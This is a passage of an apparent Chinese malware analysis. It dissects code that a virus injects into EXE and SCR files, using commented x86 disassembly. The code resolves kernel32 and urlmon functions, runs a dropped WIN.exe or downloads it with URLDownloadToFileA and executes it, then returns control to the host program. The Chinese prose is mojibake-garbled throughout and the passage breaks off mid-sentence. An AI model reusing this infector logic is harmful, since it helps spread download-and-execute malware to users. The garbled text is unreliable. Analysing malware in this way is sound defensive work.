ÕÒµ½Õâ¸ö£¬ÓÖÓÐkernel32.dllµÄ»ùÖ·£¬¾Í¿ÉÒÔµ÷ÓÃGetProcAddressº¯Êý»ñµÃkernel32.dllÖеÄÆäËûËùÐ躯ÊýµÄµØÖ·ÁË£º

***************************************************************************************************

13152CD1 8B5D F4       mov     ebx, dword ptr [ebp-C]                   ; .WIN¶ÎÊ×VA

13152CD4 8D43 20       lea     eax, dword ptr [ebx+20]                    ; LoadLibraryA

13152CD7 50              push eax

13152CD8 8B06          mov     eax, dword ptr [esi]                       ;

13152CDA 50              push eax

13152CDB FF53 04       call dword ptr [ebx+4]                          ; GetProcAddress

13152CDE 8943 08       mov     dword ptr [ebx+8], eax                   ; [.WIN+8]=LoadLibraryAµÄÈë¿ÚVA

¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­

13152D08 8D43 56       lea     eax, dword ptr [ebx+56]                    ; WinExec

13152D0B 50              push eax

13152D0C 8B06          mov     eax, dword ptr [esi]

13152D0E 50              push eax

13152D0F FF53 04       call dword ptr [ebx+4]

13152D12 8943 1C       mov     dword ptr [ebx+1C], eax                    ; WinExec

***************************************************************************************************

¾ÍÕâÑùÏà¼Ì»ñµÃÁËËĸöÓÉkernel32.dllµ¼³öµÄº¯ÊýµÄµØÖ·£¬±£´æµÄλÖÃÈçÏ£¨¿´Ç°Ãæ¶ÔÊý¾ÝµÄ˵Ã÷£©£º

***************************************************************************************************

+04H   GetProcAddressº¯ÊýµØÖ·

+08H   LoadLibraryAº¯ÊýµØÖ·

+0CH   FreeLibraryº¯ÊýµØÖ·

+10H   ExitProcessº¯ÊýµØÖ·

+14H   GetModuleHandleAº¯ÊýµØÖ·

+1CH   WinExecº¯ÊýµØÖ·

***************************************************************************************************

LoadLibraryAº¯ÊýÓÐÁË£¬ÏÖÔھͿÉÒÔ»ñÈ¡urlmonµÄ»ùÖ·£¬½ø¶ø»ñÈ¡URLDownloadToFileAµÄÈë¿ÚµãµØÖ·ÁË£º

***************************************************************************************************

13152D15 8D43 5F       lea     eax, dword ptr [ebx+5F]                    ; urlmon

13152D18 50              push eax

13152D19 FF53 08       call dword ptr [ebx+8]                          ; LoadLibraryA

13152D1C 8BF0          mov     esi, eax                                   ; esi=urlmon.dllµÄ»ùÖ·

13152D1E 8933          mov     dword ptr [ebx], esi                       ; ±£´æÓÚ.WIN¶ÎÊ×

13152D20 8D43 66       lea     eax, dword ptr [ebx+66]                    ; URLDownloadToFileA

13152D23 50              push eax

13152D24 56              push esi                                     ; urlmon

13152D25 FF53 04       call dword ptr [ebx+4]                          ; GetProcAddress

13152D28 8943 18       mov     dword ptr [ebx+18], eax                    ; ±£´æURLDownloadToFileAµØÖ·

***************************************************************************************************

ǧÐÁÍò¿à»ñµÃÕâЩµØÖ·£¬µ±È»ÊÇΪÁ˵÷ÓÃËüÃÇ¡£

Õâ¸ö²¡¶¾ÓëÇ°¶Îʱ¼äµÄlogogogo.exeϵÁУ¨ÆäʵҲ¾ÍÊÇÒÔÇ°µÄDelfϵÁУ©²»Ò»Ñù¡£

logogogo.exeϵÁеÄ×÷·¨£¬Êǽ«²¡¶¾Ö÷³ÌÐòÄÚÈÝÕû¸ö±£´æÔÚмӵĽÚÀȻºóÓÃCreateFileAºÍWriteFile£¨Ò²ÊǾ­¹ýÉÏÃæÕâÑùµÄ·½Ê½»ñÈ¡µ½ËüÃǵĵØÖ·£©À´ÊÍ·Å£¬²¢ÓÃWinExecÔËÐв¡¶¾Ö÷³ÌÐò¡£

¶øÕâ¸ö²¡¶¾£¬²»À¢ÊÇ¡°ÏÂÔØÕß¡±£¬Á¬Ö÷³ÌÐòÒ²ÊÇÖ±½Ó´ÓÍøÉÏÏÂÔØ£¨ËùÒÔÓÐÄǸöURLµØÖ·£©¡£

***************************************************************************************************

13152D2B 6A 05           push 5

13152D2D 8D83 97000000 lea     eax, dword ptr [ebx+97]                    ; ²¡¶¾Ö÷³ÌÐò±¾µØµØÖ·£¨¿´ÉÏÃæÊý¾ÝÇø£©

13152D33 50              push eax

13152D34 FF53 1C       call dword ptr [ebx+1C]                      ; WinExec

13152D37 83F8 20       cmp     eax, 20

13152D3A 73 24           jnb     short 13152D60                             ; ÔËÐгɹ¦£¬¾Í²»ÓôÓÍøÉÏÔÙÏÂÔØ£¬²»³É¹¦£¬²Å»á½ÓÏÂÀ´ÏÂÔØ

13152D3C 6A 00           push 0

13152D3E 6A 00           push 0

13152D40 8D83 97000000 lea     eax, dword ptr [ebx+97]                    ; ²¡¶¾Ö÷³ÌÐò±¾µØµØÖ·

13152D46 50              push eax

13152D47 8D43 79       lea     eax, dword ptr [ebx+79]                    ; ²¡¶¾Ö÷³ÌÐòÔ¶³ÌURLµØÖ·£¨¿´ÉÏÃæÊý¾ÝÇø£©

13152D4A 50              push eax

13152D4B 6A 00           push 0

13152D4D FF53 18       call dword ptr [ebx+18]                      ; URLDownloadToFileA

13152D50 85C0          test eax, eax

13152D52 75 0C           jnz     short 13152D60                             ; ÏÂÔز»³É¹¦£¬¾Í²»WinExecÁË

13152D54 6A 05           push 5

13152D56 8D83 97000000 lea     eax, dword ptr [ebx+97]                    ; ²¡¶¾Ö÷³ÌÐò±¾µØµØÖ·

13152D5C 50              push eax

13152D5D FF53 1C       call dword ptr [ebx+1C]                      ; WinExec

***************************************************************************************************

ÏÈÊÔ×Å°´Ö÷³ÌÐò±¾µØµØÖ·£¬WinExecÔËÐÐÖ®£¬³É¹¦ÁË£¬¾ÍOK£¬²»³É¹¦£¨²¡¶¾Ö÷³ÌÐò²»´æÔÚ£©£¬ÔòÓÃURLDownloadToFileAÁ¬ÍøÏÂÔØÖ÷³ÌÐò£¬ÏÂÔسɹ¦ÁËÔÙWinExecÔËÐÐÖ®¡£

ÖÁ´Ë²¡¶¾µÄ¹¦ÄÜÍê³É£¬×îºóÊÇ¡°²Áƨ¹É¡±£¨°ÑÒòÐèÒªLoadÉÏÀ´µÄurlmon.dllÔÙfreeÒ»´Î£©²¢Í˳öÕâ¶Î´úÂ룬Ìø»Ø±»¸ÐȾ³ÌÐòµÄÔ­Èë¿ÚµãÖ´ÐУº

***************************************************************************************************

13152D60 8B03          mov     eax, dword ptr [ebx]                       ; urlmon»ùÖ·

13152D62 50              push eax

13152D63 FF53 0C       call dword ptr [ebx+C]                          ; FreeLibrary

13152D66 8B83 BD000000 mov     eax, dword ptr [ebx+BD]                    ; Ô­Îļþ»ùÖ·

13152D6C 0383 C1000000 add     eax, dword ptr [ebx+C1]                    ; Ô­ÎļþÈë¿Úµã

13152D72 8945 F8       mov     dword ptr [ebp-8], eax

13152D75 8B45 F8       mov     eax, dword ptr [ebp-8]

13152D78 FFE0          jmp     eax                                     ; Go!Ìø»ØÔ­ÎļþÈë¿Úµã

***************************************************************************************************

´úÂëµÄ×îºó£¬²¢²»ÊÇ´úÂëÖÐÖ±½Óµ÷Ó㬿ÉÄÜÊDZ¾ÉíµÄÏûÏ¢´¦Àíº¯Êý£¨ÓÉϵͳµ÷Óã©£¬ÊÕµ½WM_QUITÏûÏ¢Ö®ºó¾Í»áExitProcess

***************************************************************************************************

13152D7A 6A 00           push 0

13152D7C FF53 10       call dword ptr [ebx+10]                      ; ExitProcess

13152D7F 5F              pop     edi

13152D80 5E              pop     esi

13152D81 5B              pop     ebx

13152D82 8BE5          mov     esp, ebp

13152D84 5D              pop     ebp

13152D85 C3              retn

13152D86 8BC0          mov     eax, eax

13152D88 C3              retn

***************************************************************************************************

ÖÁ´Ë±»¸ÐȾEXEºÍSCRÎļþ±»¼ÓÈëµÄ´úÂë·ÖÎöÍê±Ï¡£¸ÅÀ¨ÆðÀ´ËüÒª´ïµ½µÄÐÐΪ£º

³¢ÊÔµ÷ÓÃWinExecÔËÐв¡¶¾Ö÷³ÌÐò£¨.WIN+97H´¦¿ªÊ¼£¬ÕâÀïΪc:\Program Files\Common Files\WIN.exe£©

ÈôÔËÐв»³É¹¦£¬Ôòµ÷ÓÃURLDownloadToFileA´ÓÍøÉÏÏÂÔ